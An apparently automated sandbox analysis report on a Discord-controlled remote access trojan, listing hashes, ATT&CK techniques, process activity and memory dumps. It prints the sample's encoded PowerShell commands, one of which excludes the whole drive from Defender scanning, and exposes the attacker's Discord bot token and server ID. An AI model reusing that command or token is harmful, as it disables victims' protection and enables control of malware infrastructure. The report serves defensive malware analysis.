discordrat | 1e5a4524dab6f1e4125043a7cdcfb6874c32a0514941ec4a90211f53efeef058

General

Target

CODEX17.exe
Size

307KB
MD5

53cc7337eed07bbbe0172f0b64bc6245
SHA1

9b0ac7e0eaffdb6ed8af1501939f40bd798f6be0
SHA256

1e5a4524dab6f1e4125043a7cdcfb6874c32a0514941ec4a90211f53efeef058
SHA512

ff2ec069d7877fdc646dfaaba4d9525ef71c04c93936accdd1bc1bfe9ab873ab27cceb9c2d34d25f3b3e6d4e6bb4ece707b797d2f5672d73583e21a361fb333d
SSDEEP

6144:m2EUicOFEG3AFDmDbpM6/XETGNNjyhRJNJC32XENQ8NvN:m2rOXTfpNg+

Score

10^/10

discordrat defense_evasion discovery persistence rat rootkit stealer

Malware Config

Extracted

Family

discordrat

Attributes

discord_token
MTMwODQxMjQ0MjIyODk1MzIwMA.GV9W16.iYVXo71VO-dFm-6aOmZjrpuYUGqFHWVGtkvM5Q
server_id
1316071968298111026

Signatures

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat
Discordrat family
discordrat

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	CODEX17.exe

Executes dropped EXE 1 IoCs

pid	Process
3172	Client-built.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs

Web Service

T1102

flow	ioc
50	discord.com
51	discord.com
17	discord.com
21	discord.com
31	discord.com
32	discord.com
48	discord.com
49	discord.com
52	discord.com
16	discord.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CODEX17.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5092	powershell.exe
5092	powershell.exe
2184	powershell.exe
2184	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	3172	Client-built.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1952 wrote to memory of 5092	1952	CODEX17.exe	82
PID 1952 wrote to memory of 5092	1952	CODEX17.exe	82
PID 1952 wrote to memory of 5092	1952	CODEX17.exe	82
PID 1952 wrote to memory of 2184	1952	CODEX17.exe	84
PID 1952 wrote to memory of 2184	1952	CODEX17.exe	84
PID 1952 wrote to memory of 2184	1952	CODEX17.exe	84
PID 1952 wrote to memory of 3172	1952	CODEX17.exe	86
PID 1952 wrote to memory of 3172	1952	CODEX17.exe	86

C:\Users\Admin\AppData\Local\Temp\CODEX17.exe
"C:\Users\Admin\AppData\Local\Temp\CODEX17.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAaABrACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGQAaABiACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACcALAAnACcALAAnAE8ASwAnACwAJwBXAGEAcgBuAGkAbgBnACcAKQA8ACMAaABoAG4AIwA+AA=="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdABiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAaAB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAZQB0ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- C:\Users\Admin\AppData\Local\Temp\Client-built.exe
  "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
4cc9e7069534f7bcbb90ad7cac69ed78

SHA1
a3522b9edd4a7d28ad0ac0e1b659a82b6dc10892

SHA256
4814be12fd2320cd9249d3b2611ea1421cb88823097fcbf0ca697e6e9ac93c9c

SHA512
e408e0abb3b7166578c075d10f1378d6a6b39dc386361a4df23abc026e9a634bfb16c01daf9b8fcbe8555e335d93c8c9d8442a11c187df616f2d6cdd3ab53653

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
22ea3ecd0974535cdcb8b2f42fefe59f

SHA1
738ec23683b3bf466f06f3e78945716231bdc681

SHA256
d413e7fcc19ab3b13aae3c278d186b8312696506ee09f70dd57d2e18fe4542bd

SHA512
4b502884e8dfb72804bf99f92d154995daeea505b429ba04cfa1e0cef8bee6b741448936aac3c22d82dd85d500612da71f54e3a4a50d0ccdd0d0ea6d937bb93c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Client-built.exe

Filesize
78KB

MD5
eef37e61081aca867be51dab8d02c732

SHA1
b58736f3eb07dedd144e61a8e38802de1c15b947

SHA256
d74aed2a699c0ad2be01c761918ddcd5486bcf331a0a54a02bed4e073bdb39a8

SHA512
08555aeb12b54264370e1e4154a7509efe21b84fbe5aa1fd4c322b22886a149adeaa3ff7e9b1b54f9c1ccd1dcc9ae32e5702c876b9ed1b58f63a9a1c61425078

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kfvrf2hr.zm3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2184-68-0x0000000007170000-0x000000000717E000-memory.dmp

Filesize
56KB

Download
memory/2184-69-0x0000000007180000-0x0000000007194000-memory.dmp

Filesize
80KB

Download
memory/2184-49-0x0000000006DC0000-0x0000000006DF2000-memory.dmp

Filesize
200KB

Download
memory/2184-67-0x0000000007130000-0x0000000007141000-memory.dmp

Filesize
68KB

Download
memory/2184-70-0x0000000007260000-0x000000000727A000-memory.dmp

Filesize
104KB

Download
memory/2184-65-0x00000000071C0000-0x0000000007256000-memory.dmp

Filesize
600KB

Download
memory/2184-62-0x0000000006FB0000-0x0000000006FBA000-memory.dmp

Filesize
40KB

Download
memory/2184-61-0x0000000006E00000-0x0000000006EA3000-memory.dmp

Filesize
652KB

Download
memory/2184-71-0x00000000071B0000-0x00000000071B8000-memory.dmp

Filesize
32KB

Download
memory/2184-60-0x00000000061E0000-0x00000000061FE000-memory.dmp

Filesize
120KB

Download
memory/2184-50-0x0000000070940000-0x000000007098C000-memory.dmp

Filesize
304KB

Download
memory/3172-36-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp

Filesize
10.8MB

Download
memory/3172-32-0x00007FFCE99F3000-0x00007FFCE99F5000-memory.dmp

Filesize
8KB

Download
memory/3172-78-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp

Filesize
10.8MB

Download
memory/3172-76-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp

Filesize
10.8MB

Download
memory/3172-75-0x00007FFCE99F3000-0x00007FFCE99F5000-memory.dmp

Filesize
8KB

Download
memory/3172-31-0x00000233648D0000-0x00000233648E8000-memory.dmp

Filesize
96KB

Download
memory/3172-48-0x000002337F6E0000-0x000002337FC08000-memory.dmp

Filesize
5.2MB

Download
memory/3172-33-0x000002337EEE0000-0x000002337F0A2000-memory.dmp

Filesize
1.8MB

Download
memory/5092-18-0x0000000005C50000-0x0000000005C6E000-memory.dmp

Filesize
120KB

Download
memory/5092-6-0x0000000004E30000-0x0000000004E96000-memory.dmp

Filesize
408KB

Download
memory/5092-19-0x0000000005C90000-0x0000000005CDC000-memory.dmp

Filesize
304KB

Download
memory/5092-35-0x0000000006160000-0x000000000617A000-memory.dmp

Filesize
104KB

Download
memory/5092-17-0x0000000005720000-0x0000000005A74000-memory.dmp

Filesize
3.3MB

Download
memory/5092-66-0x00000000740B0000-0x0000000074860000-memory.dmp

Filesize
7.7MB

Download
memory/5092-7-0x0000000004EA0000-0x0000000004F06000-memory.dmp

Filesize
408KB

Download
memory/5092-47-0x0000000007020000-0x00000000070B2000-memory.dmp

Filesize
584KB

Download
memory/5092-5-0x0000000004C90000-0x0000000004CB2000-memory.dmp

Filesize
136KB

Download
memory/5092-4-0x00000000740B0000-0x0000000074860000-memory.dmp

Filesize
7.7MB

Download
memory/5092-2-0x0000000004F10000-0x0000000005538000-memory.dmp

Filesize
6.2MB

Download
memory/5092-3-0x00000000740B0000-0x0000000074860000-memory.dmp

Filesize
7.7MB

Download
memory/5092-1-0x0000000002690000-0x00000000026C6000-memory.dmp

Filesize
216KB

Download
memory/5092-46-0x0000000007ED0000-0x0000000008474000-memory.dmp

Filesize
5.6MB

Download
memory/5092-0-0x00000000740BE000-0x00000000740BF000-memory.dmp

Filesize
4KB

Download
memory/5092-34-0x00000000072A0000-0x000000000791A000-memory.dmp

Filesize
6.5MB

Download

Analysis

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